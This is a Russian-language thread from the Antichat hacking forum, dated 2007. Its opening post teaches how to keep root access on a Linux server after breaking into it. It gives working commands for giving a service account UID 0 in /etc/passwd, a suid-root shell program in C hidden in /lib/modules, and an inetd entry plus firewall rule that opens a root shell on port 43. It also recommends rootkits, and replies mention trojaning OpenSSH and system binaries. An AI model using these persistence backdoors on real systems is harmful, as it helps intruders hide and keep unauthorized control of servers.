Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)
-   -   Методы закрепления на взломанных серверах. (https://forum.antichat.xyz/showthread.php?t=36382)

fYt 26.03.2007 02:08

Методы закрепления на взломанных серверах.
 
Методы закрепления на взломанных серверах.

Вы взломали сервер, не важно как, может была уязвимость в программном обеспечении или же слабый пароль, [ sql | php]-инъекция, или все вместе(такое тоже бывает). На команду id вы получаете ответ id=0(root), gid=0(root), можете творить все что угодно, например, установить proxy, запустить brut, рассылать спам. Если просто заходить каждый раз под рутом рано или поздно админ вас заметит и сменит пароль, бывают и такие кому все равно, либо о безопасности ничего не знают и не хотят…. Что же их дело, а хакеры не спят, они как раз ищут такие системы.

Что же делать дальше? Как быстро закрепиться в системе?

Есть несколько известных мне способов:


/etc/passwd.

Этот способ прост и заключается в установке пароля и прав для таких учетных записей как: irc, www-data, news, mail, …. Сначала устанавливаем пароль для выбранной записи, затем редактируем файл /etc/passwd.

passwd irc
Enter new UNIX password: 123

После этого находим в файле passwd строчку:

Irc:x:39:39:ircd:/var/run/ircd:/bin/sh
заменим на
Irc:x:0:0:ircd:/var/run/ircd:/bin/sh

Мы изменили User ID и Group ID на такие же, как рута.

Минусы: Хороший администратор легко заметит разницу, но если файл объемный можно и не заметить.


Suid-bit.

Другой способ состоит из написания небольшой программки на С и установке для нее suid – бита.

Код:

#include <stdio.h>

void main()
{
        Setuid(0);
        System(“/bin/bash”);
}

Компилим: gcc shell.c –o shell
Устанавливаем права: chmod 4777 shell
Лучше скопировать куда-нибудь подальше. Например, в /lib/modules.

Минусы: Можно обнаружить с помощью команды find, у нее есть ключи поиска программ с установленным битом suid.

Inetd.conf

Этот метод не пройдет, если правильно настроен файрволл, поэтому нужный порт надо сперва открыть.Он состоит из добавления записи в Inetd.conf. Это демон отвечающий за некоторые сетевые приложения.

Открываем нужный порт:

iptables –A INPUT –p tcp –dport 43 –j ACCEPT

Добавляем запись:

whois stream tcp nowait root /bin/sh sh –i

whois(Имя) stream(Тип сокета) Протокол(tcp,udp) nowait( inetd продолжает слушать порт после соединения одного клиента) root (права с которыми будет запущена оболочка) /bin/bash( сама программа) .

Мы добавили новый сервис whois работает на 43 порту, список сервисов можно посмотреть в /etc/services. Теперь осталось соединится телнетом на 43 порт и запустится наша оболочка.

Минусы: Команда netstat видит этот порт.

Руткиты:

Писать про них не буду, так как уже есть несколько хороших статей.

Пользоваться руткитами удобнее и безопаснее, к тому же они имеют много хороших функций скрытие процессов, сетевых соединений, файлов и папок. Их труднее обнаружить, особенно “ядерные”.

Что можно еще добавить?

andy13 27.03.2007 18:24

Такое ощущение, что уже где-то читал об этом.
Хотя для тех, кто слышит это впервые, пойдет.

hsi 27.03.2007 22:55

Неплохой FAQ, но немного неполный (протроянивание системных утилит, добавление сервисным пользователям оболочки, etc).

.Slip 27.03.2007 23:18

Цитата:

Руткиты:

Писать про них не буду, так как уже есть несколько хороших статей.
Мда. Про закрепление на сервере тоже есть много статей гораздо лучших чем твоя (если она твоя). Но ты же расписал уже про что то, будь добр закончи.

Alexsize 30.03.2007 15:49

Я думаю, стоит немного подождать=)

p-range 04.04.2007 17:00

Цитата:

После этого находим в файле passwd строчку:

Irc:x:39:39:ircd:/var/run/ircd:/bin/sh
заменим на
Irc:x:0:0:ircd:/var/run/ircd:/bin/sh

Мы изменили User ID и Group ID на такие же, как рута.
возможно, я ошибаюсь, но как ты поставишь uid=0, если уже есть пользователь (root) с таким id ?

fYt 04.04.2007 18:19

Цитата:

Сообщение от p-range
возможно, я ошибаюсь, но как ты поставишь uid=0, если уже есть пользователь (root) с таким id ?

Если попытаться добавить пользователя через useradd, то система не даст этого сделать, напишет что-то типа "uid 0 уже существует", поэтому исправляем uid,gid в самом passwd.

ShadOS 04.04.2007 21:50

Смотрите раздел статьи, а если быть точнее моё руководство по затрояниванию OpenSSH.

Alexsize 05.04.2007 00:11

Обсирать все горазды. inetd.conf - гавно способ.
Согласен с hsi, можно добавить про протроянивание бинарников и , самое интересное, добавление шелла сервисным пользователям. Но автор про это не хотел писать, как раз потому что это все знают. А вот как протороянить SSH, я не знал до сего дня.

ShadOS 05.04.2007 01:06

Цитата:

Сообщение от fYt
Это вежливо-грубая форма "твоя статья отстой , а вот ссш рулит...".

Уважаемые, не ссорьтесь. Надеюсь, Alexsize не хотел тебя обидеть.


Время: 00:16